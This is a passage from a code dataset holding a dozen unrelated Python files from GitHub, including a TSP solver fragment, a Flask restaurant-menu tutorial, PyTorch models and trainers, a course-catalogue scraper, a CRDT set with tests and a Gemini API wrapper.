best['soln'].route[i].costTo(best['soln'].route[(i + 1) % len(best['soln'].route)])\n\n\t\tfinal_result = {}\n\t\tfinal_result['cost'] = new_cost\n\t\tfinal_result['time'] = end_time - start_time\n\t\tfinal_result['count'] = len(solutions)\n\t\tfinal_result['soln'] = best['soln']\n\t\tfinal_result['max'] = heap.max_length\n\t\tfinal_result['total'] = bssf['total']\n\t\tfinal_result['pruned'] = bssf['pruned']\n\n\t\twith open(\"results.csv\", 'a') as f:\n\t\t\tcsv_result = {\n\t\t\t\t'# Cities': len(self._scenario.getCities()),\n\t\t\t\t'Seed': 20,\n\t\t\t\t'Running time (sec.)': end_time - start_time,\n\t\t\t\t'Cost of best tour found': new_cost,\n\t\t\t\t'Max # of stored states at a given time': heap.max_length,\n\t\t\t\t'count': len(solutions),\n\t\t\t\t'# of BSSF updates': bssf['count'],\n\t\t\t\t'Total # of states created': bssf['total'],\n\t\t\t\t'Total # of states pruned': bssf['pruned']}\n\n\t\t\tw = csv.DictWriter(f, csv_result.keys())\n\t\t\tw.writerow(csv_result)\n\n\t\treturn final_result\n\n\n\n\t''' \n\t\tThis is the entry point for the algorithm you'll write for your group project.\n\t\t\n\t\tresults dictionary for GUI that contains three ints: cost of best solution, \n\t\ttime spent to find best solution, total number of solutions found during search, the \n\t\tbest solution found. You may use the other three field however you like.\n\t\talgorithm \n\t'''\n\t\t\n\tdef fancy( self,time_allowance=60.0 ):\n\t\tpass\n\t\t\n\n\n\n","repo_name":"pearlhulbert/CS312-AlgorithmsDesign-AnalysisProjects","sub_path":"Project5/TSPSolver.py","file_name":"TSPSolver.py","file_ext":"py","file_size_in_byte":6371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36582623285","text":"# A Project regarding the following Kaggle competition:\n# https://www.kaggle.com/c/mercari-price-suggestion-challenge\n\n# Submitted by Yuval Helman and Jakov Zingerman\n\nimport pickle\nimport xgboost as xgb\n\n''' \nmodel: the trained model (After fit)\nfilename: a string containing of the file name (relative to the top directory, or full path)\n'''\ndef save_model_on_file(model, filename, is_XGB=False):\n if is_XGB == True:\n model.save_model(filename)\n else:\n pickle.dump(model, open(filename, 'wb'))\n\n''' \nfilename: a string containing of the file name (relative to the top directory, or full path)\n'''\ndef load_model_from_file(filename):\n loaded_model = pickle.load(open(filename, 'rb'))\n return loaded_model","repo_name":"YuvalHelman/mercariPriceSuggestion","sub_path":"utilss.py","file_name":"utilss.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33402255122","text":"\"\"\"\nHere is my solution to the Valid Anagram Problem:\nhttps://leetcode.com/explore/interview/card/top-interview-questions-easy/127/strings/882/\n\"\"\"\n\nclass Solution:\n def isAnagram(self, s: str, t: str) -> bool:\n charDict = {}\n for i in range(len(s)):\n charDict[s[i]] = charDict.get(s[i], 0) + 1\n print('charDict', charDict)\n for j in range(len(t)):\n try:\n charDict[t[j]] -= 1\n except:\n return False\n print(charDict, 'part 2')\n if all(values == 0 for values in charDict.values()):\n return True\n print('anywhere')\n return False","repo_name":"DerekAThompson/Fundamentals-Review","sub_path":"Leet Code Interview Questions/Strings/Valid Anagram.py","file_name":"Valid Anagram.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34755074954","text":"DEFAULT_DATA = {\n \"zones\": [\n {\n \"index\": 1,\n \"width\": 200,\n \"title\": \"Zone 1\",\n \"height\": 100,\n \"x\": \"120\",\n \"y\": \"200\",\n \"id\": \"zone-1\"\n },\n {\n \"index\": 2,\n \"width\": 200,\n \"title\": \"Zone 2\",\n \"height\": 100,\n \"x\": \"120\",\n \"y\": \"360\",\n \"id\": \"zone-2\"\n }\n ],\n \"items\": [\n {\n \"displayName\": \"1\",\n \"feedback\": {\n \"incorrect\": \"No, 1 does not belong here\",\n \"correct\": \"Yes, it's a 1\"\n },\n \"zone\": \"Zone 1\",\n \"backgroundImage\": \"\",\n \"id\": 0,\n \"size\": {\n \"width\": \"190px\",\n \"height\": \"auto\"\n }\n },\n {\n \"displayName\": \"2\",\n \"feedback\": {\n \"incorrect\": \"No, 2 does not belong here\",\n \"correct\": \"Yes, it's a 2\"\n },\n \"zone\": \"Zone 2\",\n \"backgroundImage\": \"\",\n \"id\": 1,\n \"size\": {\n \"width\": \"190px\",\n \"height\": \"auto\"\n }\n },\n {\n \"displayName\": \"X\",\n \"feedback\": {\n \"incorrect\": \"You silly, there are no zones for X\",\n \"correct\": \"\"\n },\n \"zone\": \"none\",\n \"backgroundImage\": \"\",\n \"id\": 2,\n \"size\": {\n \"width\": \"100px\",\n \"height\": \"100px\"\n }\n },\n ],\n \"state\": {\n \"items\": {},\n \"finished\": True\n },\n \"feedback\": {\n \"start\": \"Intro Feed\",\n \"finish\": \"Final Feed\"\n },\n}\n","repo_name":"tlindaliu/edx-react-native","sub_path":"xblock-drag-and-drop-v2/drag_and_drop_v2/default_data.py","file_name":"default_data.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"35719033762","text":"'''\nThis version of project.py that covers Lesson3 Topics #9 - #11:\n- use render_template(, \n'''\n\nfrom flask import Flask, render_template, redirect, request, url_for\n\napp = Flask(__name__)\n\nfrom database_setup import Base, Restaurant, MenuItem\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\n# Create session and connect to DB\nengine = create_engine('sqlite:///restaurantmenu.db')\nBase.metadata.bind = engine\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n# List Restaurants\n@app.route('/')\n@app.route('/restaurants//')\ndef restaurantMenu(restaurant_id):\n try:\n\n restaurant = session.query(Restaurant).filter_by(id=restaurant_id).one()\n items = session.query(MenuItem).filter_by(restaurant_id=restaurant.id)\n\n return render_template('menu.html', restaurant=restaurant, items=items)\n\n except:\n pass\n\n\n@app.route('/restaurants//new/', methods=['GET', 'POST'])\ndef newMenuItem(restaurant_id):\n if request.method == 'POST':\n # the POST method we will get the input info from the \"POST form\" from the \n # template (i.e., login.html) using request.form[\"\"], in this case, menuName\n # \n # note the following line only provides the menu name, but not its price or description\n #\n newItem = MenuItem(\n name=request.form['menuName'], restaurant_id=restaurant_id)\n session.add(newItem)\n session.commit()\n\n # redirect to 'restaurantMenu' page where it should display the restaurant menus including\n # the latest addition\n return redirect(url_for('restaurantMenu', restaurant_id=restaurant_id))\n else:\n # the GET method will just render the newmenuitem template\n return render_template('newmenuitem.html', restaurant_id=restaurant_id)\n\n# Lesson 3 Topic 13 Edit Menu Item Form Quiz (also includes editmenuitem.html)\n\n@app.route('/restaurants///edit',\n methods=['GET', 'POST'])\ndef editMenuItem(restaurant_id, menu_id):\n editedItem = session.query(MenuItem).filter_by(id=menu_id).one()\n if request.method == 'POST':\n if request.form['name']:\n editedItem.name = request.form['name']\n session.add(editedItem)\n session.commit()\n return redirect(url_for('restaurantMenu', restaurant_id=restaurant_id))\n else:\n # this is the GET method section, it will just render the editmenuitemhtml template\n #\n # USE THE render_template FUNCTION BELOW TO SEE THE VARIABLES YOU\n # SHOULD USE IN YOUR editmenuitem TEMPLATE\n return render_template(\n 'editmenuitem.html', restaurant_id=restaurant_id, item=editedItem)\n\n\n@app.route('/')\n@app.route('/restaurants///delete')\ndef deleteMenuItem(restaurant_id, menu_id):\n return \"page to delete a new menu item. Task 3 complete!\"\n\n\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"punsoca/UD088-FS-FDN","sub_path":"Lesson3/13-Edit-Menu-Form/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":3102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27647053992","text":"import sqlite3\n \nconn = sqlite3.connect('database/gas_data.db')\ncursor = conn.cursor()\n\ndrop_table_query = 'DROP TABLE IF EXISTS gas_prices;'\ncursor.execute(drop_table_query)\nconn.commit()\n\ncursor=conn.cursor()\nprint('Database Cleared')\n\ncreate_table_query = '''\nCREATE TABLE gas_prices (\n padd varchar(25),\n duoarea varchar(25),\n period date,\n product varchar(50),\n product_name varchar(50),\n series_description varchar(50),\n price float,\n units varchar(25)\n);\n'''\ncursor.execute(create_table_query)\n\nconn.commit()\nconn.close()\nprint('Database Created')\n","repo_name":"BrianS3/gas_forecasting","sub_path":"lib/createDB.py","file_name":"createDB.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41380840849","text":"import torch\nimport torch.nn as nn\nfrom torch.nn import TransformerEncoder, TransformerEncoderLayer, LayerNorm, Dropout, Linear\nfrom torch.nn.functional import normalize\nfrom torch.nn import functional as F\n\nclass FuseTransEncoder(nn.Module):\n def __init__(self, num_layers, hidden_size, nhead):\n super(FuseTransEncoder, self).__init__()\n encoder_layer = TransformerEncoderLayer(d_model=hidden_size, nhead=nhead, batch_first=False)\n self.transformerEncoder = TransformerEncoder(encoder_layer= encoder_layer, num_layers= num_layers)\n self.d_model = hidden_size\n self.sigal_d = int(self.d_model/2)\n \n def forward(self, tokens):\n encoder_X = self.transformerEncoder(tokens)\n encoder_X_r = encoder_X.reshape( -1,self.d_model)\n encoder_X_r = normalize(encoder_X_r, p =2 ,dim =1)\n img, txt = encoder_X_r[:,:self.sigal_d], encoder_X_r[:,self.sigal_d:]\n return img, txt\n\n\nclass ImageMlp(nn.Module):\n def __init__(self, input_dim, hash_lens, dim_feedforward=[1024,128,1024], dropout=0.1):\n super(ImageMlp, self).__init__()\n self.fc1 = nn.Linear(input_dim, 4096)\n self.relu = nn.ReLU(inplace=True)\n self.dp = nn.Dropout(0.3)\n self.tohash = nn.Linear(4096, hash_lens)\n self.tanh = nn.Tanh()\n def _ff_block(self, x):\n x = normalize(x, p =2 ,dim =1)\n feat = self.relu(self.fc1(x))\n hid = self.tohash(self.dp(feat))\n out = self.tanh(hid)\n return out\n \n def forward(self, X): \n mlp_output = self._ff_block(X)\n mlp_output = normalize(mlp_output, p =2 ,dim =1)\n return mlp_output\n\nclass TextMlp(nn.Module):\n def __init__(self, input_dim, hash_lens, dim_feedforward=[1024,128,1024], dropout=0.1): \n super(TextMlp, self).__init__()\n self.fc1 = nn.Linear(input_dim, 4096)\n self.relu = nn.ReLU(inplace=True)\n self.dp = nn.Dropout(0.3)\n self.tohash = nn.Linear(4096, hash_lens)\n self.tanh = nn.Tanh()\n \n def _ff_block(self, x):\n x = normalize(x, p =2 ,dim =1)\n feat = self.relu(self.fc1(x))\n hid = self.tohash(self.dp(feat))\n out = self.tanh(hid)\n return out\n \n def forward(self, X): \n mlp_output = self._ff_block(X)\n mlp_output = normalize(mlp_output, p =2 ,dim =1)\n return mlp_output\n\n\n","repo_name":"XinyuXia97/UCMFH","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"8027557822","text":"import os\nimport argparse\nimport xmltodict\nimport json\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\n\nMAX_WORKERS = 10\n\nENDPOINT = 'https://explorecourses.stanford.edu/'\nDEPARMENTS_ENDPOINT = ENDPOINT + '?view=xml-20140630'\nCOURSE_ENDPOINT = (ENDPOINT + 'search?view=xml-20140630&academicYear='\n '&q={name}&filter-departmentcode-{name}=on'\n '&filter-coursestatus-Active=on')\n\n\ndef fetch_departments():\n r = requests.get(DEPARMENTS_ENDPOINT)\n body = xmltodict.parse(r.text, force_list=('school', 'department'))\n result = []\n for school in body['schools']['school']:\n school_name = school['@name']\n for department in school['department']:\n result.append({\n 'name': department['@name'],\n 'longname': department['@longname'],\n 'school': school_name\n })\n return result\n\n\ndef fetch_department_courses(name):\n r = requests.get(COURSE_ENDPOINT.format(name=name))\n return r.content\n\n\ndef process_department(name, destination):\n print(' Processing department', name)\n raw = fetch_department_courses(name)\n with open(destination, 'wb+') as f:\n f.write(raw)\n print(' Finished processing department', name)\n\n\ndef main():\n parser = argparse.ArgumentParser(description='fast-courses fetch')\n parser.add_argument('--department', '-d', type=str)\n parser.add_argument('--inputdepartments', '-i',\n type=argparse.FileType('r'))\n parser.add_argument('--outdir', '-o', type=str, required=True)\n args = parser.parse_args()\n\n print('Fetching ExploreCourses course data...')\n os.makedirs(args.outdir, exist_ok=True)\n\n if args.department:\n department_names = [args.department]\n else:\n if args.inputdepartments:\n print(' Using input departments', args.inputdepartments.name)\n department_data = json.load(args.inputdepartments)\n else:\n print(' Fetching fresh list of departments')\n department_data = fetch_departments()\n dest = os.path.join(args.outdir, 'departments.json')\n with open(dest, 'w+') as f:\n json.dump(department_data, f, indent=4)\n print(' Finished fetching fresh list of departments!')\n\n department_names = [d['name'] for d in department_data]\n\n with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:\n for name in department_names:\n dest = os.path.join(args.outdir, name + '.xml')\n executor.submit(process_department, name, dest)\n\n print('Finished fetching ExploreCourses course data!')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"theopolisme/fast-courses","sub_path":"scraper/fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"3"} +{"seq_id":"39235641248","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.optim.adam import Adam\nfrom torch.utils.data import DataLoader\n\nfrom chatspace.data import ChatSpaceDataset, DynamicCorpus, Vocab\nfrom chatspace.model import ChatSpaceModel\n\nfrom .metric import calculated_metric\n\n\nclass ChatSpaceTrainer:\n def __init__(\n self,\n config,\n model: ChatSpaceModel,\n vocab: Vocab,\n device: torch.device,\n train_corpus_path,\n eval_corpus_path=None,\n ):\n self.config = config\n self.device = device\n self.model = model\n self.optimizer = Adam(self.model.parameters(), lr=config[\"learning_rate\"])\n self.criterion = nn.NLLLoss()\n self.vocab = vocab\n\n self.train_corpus = DynamicCorpus(train_corpus_path, repeat=True)\n self.train_dataset = ChatSpaceDataset(\n config, self.train_corpus, self.vocab, with_random_space=True\n )\n\n if eval_corpus_path is not None:\n self.eval_corpus = DynamicCorpus(eval_corpus_path)\n self.eval_dataset = ChatSpaceDataset(\n self.config, eval_corpus_path, self.vocab, with_random_space=True\n )\n\n self.global_epochs = 0\n self.global_steps = 0\n\n def eval(self, batch_size=64):\n self.model.eval()\n\n with torch.no_grad():\n eval_output = self.run_epoch(self.eval_dataset, batch_size=batch_size, is_train=False)\n\n self.model.train()\n return eval_output\n\n def train(self, epochs=10, batch_size=64):\n for epoch_id in range(epochs):\n self.run_epoch(\n self.train_dataset,\n batch_size=batch_size,\n epoch_id=epoch_id,\n is_train=True,\n log_freq=self.config[\"logging_step\"],\n )\n self.save_checkpoint(f\"outputs/checkpoints/checkpoint_ep{epoch_id}.cpt\")\n self.save_model(f\"outputs/models/chatspace_ep{epoch_id}.pt\")\n self.save_model(f\"outputs/jit_models/chatspace_ep{epoch_id}.pt\", as_jit=False)\n\n def run_epoch(self, dataset, batch_size=64, epoch_id=0, is_train=True, log_freq=100):\n step_outputs, step_metrics, step_inputs = [], [], []\n collect_fn = (\n ChatSpaceDataset.train_collect_fn if is_train else ChatSpaceDataset.eval_collect_fn\n )\n data_loader = DataLoader(dataset, batch_size, collate_fn=collect_fn)\n for step_num, batch in enumerate(data_loader):\n batch = {key: value.to(self.device) for key, value in batch.items()}\n output = self.step(step_num, batch)\n\n if is_train:\n self.update(output[\"loss\"])\n\n if not is_train or step_num % log_freq == 0:\n batch = {key: value.cpu().numpy() for key, value in batch.items()}\n output = {key: value.detach().cpu().numpy() for key, value in output.items()}\n\n metric = self.step_metric(output[\"output\"], batch, output[\"loss\"])\n\n if is_train:\n print(\n f\"EPOCH:{epoch_id}\",\n f\"STEP:{step_num}/{len(data_loader)}\",\n [(key + \":\" + \"%.3f\" % metric[key]) for key in metric],\n )\n else:\n step_outputs.append(output)\n step_metrics.append(metric)\n step_inputs.append(batch)\n\n if not is_train:\n return self.epoch_metric(step_inputs, step_outputs, step_metrics)\n\n if is_train:\n self.global_epochs += 1\n\n def epoch_metric(self, step_inputs, step_outputs, step_metrics):\n average_loss = np.mean([metric[\"loss\"] for metric in step_metrics])\n\n epoch_inputs = [\n example for step_input in step_inputs for example in step_input[\"input\"].tolist()\n ]\n epoch_outputs = [\n example\n for output in step_outputs\n for example in output[\"output\"].argmax(axis=-1).tolist()\n ]\n epoch_labels = [\n example for step_input in step_inputs for example in step_input[\"label\"].tolist()\n ]\n\n epoch_metric = calculated_metric(\n batch_input=epoch_inputs, batch_output=epoch_outputs, batch_label=epoch_labels\n )\n\n epoch_metric[\"loss\"] = average_loss\n return epoch_metric\n\n def step_metric(self, output, batch, loss=None):\n metric = calculated_metric(\n batch_input=batch[\"input\"].tolist(),\n batch_output=output.argmax(axis=-1).tolist(),\n batch_label=batch[\"label\"].tolist(),\n )\n\n if loss is not None:\n metric[\"loss\"] = loss\n return metric\n\n def step(self, step_num, batch, with_loss=True, is_train=True):\n output = self.model.forward(batch[\"input\"], batch[\"length\"])\n if is_train:\n self.global_steps += 1\n\n if not with_loss:\n return {\"output\": output}\n\n loss = self.criterion(output.transpose(1, 2), batch[\"label\"])\n return {\"loss\": loss, \"output\": output}\n\n def update(self, loss):\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n def save_model(self, path, as_jit=False):\n self.optimizer.zero_grad()\n params = [\n {\"param\": param, \"require_grad\": param.requires_grad}\n for param in self.model.parameters()\n ]\n\n for param in params:\n param[\"param\"].require_grad = False\n\n with torch.no_grad():\n if not as_jit:\n torch.save(self.model.state_dict(), path)\n else:\n self.model.cpu().eval()\n\n sample_texts = [\"오늘 너무 재밌지 않았어?\", \"너랑 하루종일 놀아서 기분이 좋았어!\"]\n dataset = ChatSpaceDataset(\n self.config, sample_texts, self.vocab, with_random_space=False\n )\n data_loader = DataLoader(dataset, batch_size=2, collate_fn=dataset.eval_collect_fn)\n\n for batch in data_loader:\n model_input = (batch[\"input\"].detach(), batch[\"length\"].detach())\n traced_model = torch.jit.trace(self.model, model_input)\n torch.jit.save(traced_model, path)\n break\n\n self.model.to(self.device).train()\n\n print(f\"Model Saved on {path}{' as_jit' if as_jit else ''}\")\n\n for param in params:\n if param[\"require_grad\"]:\n param[\"param\"].require_grad = True\n\n def save_checkpoint(self, path):\n torch.save(\n {\n \"epoch\": self.global_epochs,\n \"steps\": self.global_steps,\n \"model_state_dict\": self.model.state_dict(),\n \"optimizer_state_dict\": self.optimizer.state_dict(),\n },\n path,\n )\n\n def load_checkpoint(self, path):\n checkpoint = torch.load(path)\n self.optimizer.load_state_dict(checkpoint[\"optimizer_state_dict\"])\n self.model.load_state_dict(checkpoint[\"model_state_dict\"])\n self.global_epochs = checkpoint[\"epoch\"]\n self.global_steps = checkpoint[\"steps\"]\n\n def load_model(self, model_path):\n self.model.load_state_dict(torch.load(model_path))\n","repo_name":"eagle705/chatspace","sub_path":"chatspace/train/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":7341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"45295466202","text":"from datetime import datetime\n\nclass LWW_Set:\n def __init__(self):\n self.addition_set = {}\n self.remove_set = {}\n\n def lookup(self, element):\n if element not in self.addition_set:\n return None\n if element in self.remove_set: # If element is in both sets\n if self.addition_set[element] > self.remove_set[element]: # And addition was the latest entry\n return element\n return None\n return element\n\n def add(self, element):\n if element not in self.addition_set: #Assert that element does not exist\n datetime_now = datetime.now()\n self.addition_set[element] = datetime.timestamp(datetime_now)\n else:\n raise ValueError\n\n def remove(self, element):\n if element not in self.remove_set: #Assert that element does not exist\n datetime_now = datetime.now()\n self.remove_set[element] = datetime.timestamp(datetime_now)\n else:\n raise ValueError\n\n def update_add(self, element):\n if element in self.addition_set: #Assert that element does exist\n datetime_now = datetime.now()\n self.addition_set[element] = datetime.timestamp(datetime_now)\n else:\n raise ValueError\n\n def update_remove(self, element):\n if element in self.remove_set: #Assert that element does exist\n datetime_now = datetime.now()\n self.remove_set[element] = datetime.timestamp(datetime_now)\n else:\n raise ValueError\n\ndef compare(set1,set2):\n if set1.addition_set.keys() <= set2.addition_set.keys(): # If keys in set2's addition_set are a subset of set1's\n if set1.remove_set.keys() <= set2.remove_set.keys(): # Same for remove_set \n return True\n return False\n\ndef mergeDict(dict1,dict2):\n duplicate_keys = set(dict1) & set(dict2) #Convert keys to sets and union\n resolved_dict = {}\n for key in duplicate_keys:\n if(dict1[key]>dict2[key]): #Compare timestamps and store latest timestamp\n resolved_dict[key]= dict1[key]\n else:\n resolved_dict[key]= dict2[key]\n result = dict1.copy()\n result.update(dict2)\n result.update(resolved_dict)\n return result\n\ndef merge(set1,set2):\n merged_addition_set = mergeDict(set1.addition_set, set2.addition_set)\n merged_remove_set = mergeDict(set1.remove_set, set2.remove_set)\n return merged_addition_set, merged_remove_set\n\n#Test Cases\ndef test_update_add():\n element = \"foo\"\n X = LWW_Set()\n X.add(element)\n timestamp1 = X.addition_set[element]\n X.update_add(element)\n timestamp2 = X.addition_set[element]\n assert (timestamp2 > timestamp1) == True # update_add should update timestamp\n\ndef test_update_remove():\n element = \"foo\"\n X = LWW_Set()\n X.remove(element)\n timestamp1 = X.remove_set[element]\n X.update_remove(element)\n timestamp2 = X.remove_set[element]\n assert (timestamp2 > timestamp1) == True # update_remove should update timestamp\n\n\ndef test_merge():\n element1 = \"foo\"\n element2 = \"bar\" \n X = LWW_Set()\n Y = LWW_Set()\n U = LWW_Set()\n X.add(element1)\n X.add(element2)\n Y.add(element1)\n U.addition_set, U.remove_set = merge(X,Y)\n timestamp1 = X.addition_set[element1]\n timestamp2 = U.addition_set[element1]\n assert (timestamp2 > timestamp1) == True # Merging should keep the key which has the latest timestamp\n \ndef test_compare():\n element1 = \"foo\"\n element2 = \"bar\"\n X = LWW_Set()\n Y = LWW_Set()\n X.add(element1)\n X.add(element2)\n Y.add(element1)\n assert compare(X,Y) == False # Additional elements in X compared to Y should return False\n assert compare(Y,X) == True # Y should be a subset of X\n Y.remove(element1)\n assert compare(Y,X) == False # Y remove_set is no longer a subset of X\n\ndef test_lookup():\n element = \"foo\"\n X = LWW_Set()\n X.add(element)\n X.remove(element)\n assert X.lookup(element) == None # element should be \"removed\"\n X.update_add(element)\n assert X.lookup(element) == element # Since adding the element was done latest, the element should \"exist\"\n\nif __name__ == \"__main__\":\n test_update_add()\n test_update_remove()\n test_merge()\n test_compare()\n test_lookup()","repo_name":"TylerGoh/CRDT-LWW-Element-Set","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28146710826","text":"import os\nimport subprocess as sp\nfrom pathlib import Path\n\nfrom dotenv import load_dotenv\nfrom PIL import Image\n\n\nfrom swarms.models.base_multimodal_model import BaseMultiModalModel\n\ntry:\n import google.generativeai as genai\n from google.generativeai.types import GenerationConfig\nexcept ImportError as error:\n print(f\"Error importing google.generativeai: {error}\")\n print(\"Please install the google.generativeai package\")\n print(\"pip install google-generativeai\")\n sp.run([\"pip\", \"install\", \"--upgrade\", \"google-generativeai\"])\n\n\nload_dotenv()\n\n\n# Helpers\ndef get_gemini_api_key_env():\n \"\"\"Get the Gemini API key from the environment\n\n Raises:\n ValueError: _description_\n\n Returns:\n _type_: _description_\n \"\"\"\n key = os.getenv(\"GEMINI_API_KEY\")\n if key is None:\n raise ValueError(\"Please provide a Gemini API key\")\n return key\n\n\n# Main class\nclass Gemini(BaseMultiModalModel):\n \"\"\"Gemini model\n\n Args:\n model_name (str, optional): _description_. Defaults to \"gemini-pro\".\n gemini_api_key (str, optional): _description_. Defaults to get_gemini_api_key_env.\n return_safety (bool, optional): _description_. Defaults to False.\n candidates (bool, optional): _description_. Defaults to False.\n stream (bool, optional): _description_. Defaults to False.\n candidate_count (int, optional): _description_. Defaults to 1.\n stop_sequence ([type], optional): _description_. Defaults to ['x'].\n max_output_tokens (int, optional): _description_. Defaults to 100.\n temperature (float, optional): _description_. Defaults to 0.9.\n\n Methods:\n run: Run the Gemini model\n process_img: Process the image\n chat: Chat with the Gemini model\n list_models: List the Gemini models\n stream_tokens: Stream the tokens\n process_img_pil: Process img\n\n\n\n Examples:\n >>> from swarms.models import Gemini\n >>> gemini = Gemini()\n >>> gemini.run(\n task=\"A dog\",\n img=\"dog.png\",\n )\n \"\"\"\n\n def __init__(\n self,\n model_name: str = \"gemini-pro-vision\",\n gemini_api_key: str = get_gemini_api_key_env,\n return_safety: bool = False,\n candidates: bool = False,\n stream: bool = False,\n candidate_count: int = 1,\n stop_sequence=[\"x\"],\n max_output_tokens: int = 100,\n temperature: float = 0.9,\n system_prompt: str = None,\n *args,\n **kwargs,\n ):\n super().__init__(model_name, *args, **kwargs)\n self.model_name = model_name\n self.gemini_api_key = gemini_api_key\n self.safety = return_safety\n self.candidates = candidates\n self.stream = stream\n self.candidate_count = candidate_count\n self.stop_sequence = stop_sequence\n self.max_output_tokens = max_output_tokens\n self.temperature = temperature\n self.system_prompt = system_prompt\n\n # Prepare the generation config\n self.generation_config = GenerationConfig(\n candidate_count=candidate_count,\n # stop_sequence=stop_sequence,\n max_output_tokens=max_output_tokens,\n temperature=temperature,\n *args,\n **kwargs,\n )\n\n # Initialize the model\n self.model = genai.GenerativeModel(\n model_name, *args, **kwargs\n )\n\n # Check for the key\n if self.gemini_api_key is None:\n raise ValueError(\"Please provide a Gemini API key\")\n\n def system_prompt(\n self,\n system_prompt: str = None,\n task: str = None,\n *args,\n **kwargs,\n ):\n \"\"\"System prompt\n\n Args:\n system_prompt (str, optional): _description_. Defaults to None.\n \"\"\"\n PROMPT = f\"\"\"\n \n {system_prompt}\n \n {task}\n \n \"\"\"\n return PROMPT\n\n def run(\n self,\n task: str = None,\n img: str = None,\n *args,\n **kwargs,\n ) -> str:\n \"\"\"Run the Gemini model\n\n Args:\n task (str, optional): textual task. Defaults to None.\n img (str, optional): img. Defaults to None.\n\n Returns:\n str: output from the model\n \"\"\"\n try:\n if img:\n # process_img = self.process_img(img, *args, **kwargs)\n process_img = self.process_img_pil(img)\n response = self.model.generate_content(\n contents=[task, process_img],\n generation_config=self.generation_config,\n stream=self.stream,\n *args,\n **kwargs,\n )\n\n # if self.candidates:\n # return response.candidates\n # elif self.safety:\n # return response.safety\n # else:\n # return response.text\n\n return response.text\n else:\n response = self.model.generate_content(\n task, stream=self.stream, *args, **kwargs\n )\n return response.text\n except Exception as error:\n print(f\"Error running Gemini model: {error}\")\n print(f\"Please check the task and image: {task}, {img}\")\n raise error\n\n def process_img(\n self,\n img: str = None,\n type: str = \"image/png\",\n *args,\n **kwargs,\n ):\n \"\"\"Process the image\n\n Args:\n img (str, optional): _description_. Defaults to None.\n type (str, optional): _description_. Defaults to \"image/png\".\n\n Raises:\n ValueError: _description_\n ValueError: _description_\n ValueError: _description_\n \"\"\"\n try:\n if img is None:\n raise ValueError(\"Please provide an image to process\")\n if type is None:\n raise ValueError(\"Please provide the image type\")\n if self.gemini_api_key is None:\n raise ValueError(\"Please provide a Gemini API key\")\n\n # Load the image\n img = [\n {\"mime_type\": type, \"data\": Path(img).read_bytes()}\n ]\n except Exception as error:\n print(f\"Error processing image: {error}\")\n\n def chat(\n self,\n task: str = None,\n img: str = None,\n *args,\n **kwargs,\n ) -> str:\n \"\"\"Chat with the Gemini model\n\n Args:\n task (str, optional): _description_. Defaults to None.\n img (str, optional): _description_. Defaults to None.\n\n Returns:\n str: _description_\n \"\"\"\n chat = self.model.start_chat()\n response = chat.send_message(task, *args, **kwargs)\n response1 = response.text\n print(response1)\n response = chat.send_message(img, *args, **kwargs)\n\n def list_models(self) -> str:\n \"\"\"List the Gemini models\n\n Returns:\n str: _description_\n \"\"\"\n for m in genai.list_models():\n if \"generateContent\" in m.supported_generation_methods:\n print(m.name)\n\n def stream_tokens(self, content: str = None):\n \"\"\"Stream the tokens\n\n Args:\n content (t, optional): _description_. Defaults to None.\n \"\"\"\n for chunk in content:\n print(chunk.text)\n print(\"_\" * 80)\n\n def process_img_pil(self, img: str = None):\n \"\"\"Process img\n\n Args:\n img (str, optional): _description_. Defaults to None.\n\n Returns:\n _type_: _description_\n \"\"\"\n img = Image.open(img)\n return img\n","repo_name":"kyegomez/swarms","sub_path":"swarms/models/gemini.py","file_name":"gemini.py","file_ext":"py","file_size_in_byte":7808,"program_lang":"python","lang":"en","doc_type":"code","stars":264,"dataset":"github-code","pt":"3"} +{"seq_id":"43373202959","text":"# 그리디\n# 점수 순 정렬\n# 그리고 마감일 칸 비어있으면 거기에 넣기\n# (해당 일에 딱 하겠다는 뜻)\n# 마감일 칸 차있으면 (더 큰 점수 얻는 경우 존재)\n# 그 전 칸 중 가장 가까운 빈 칸에 넣기 \n# (최대한 늦게 하겠다는 뜻)\n\nN = int(input())\narr = []\nfor _ in range(N) :\n d, w = map(int, input().split())\n arr.append((w, d))\narr.sort(reverse=True)\n\nres = [0 for _ in range(1001)]\nfor a in arr :\n w = a[0]\n d = a[1]\n if res[d] == 0 :\n res[d] = w \n else :\n idx = d-1 \n while idx > 0 :\n if res[idx] == 0 :\n res[idx] = w \n break \n idx -= 1 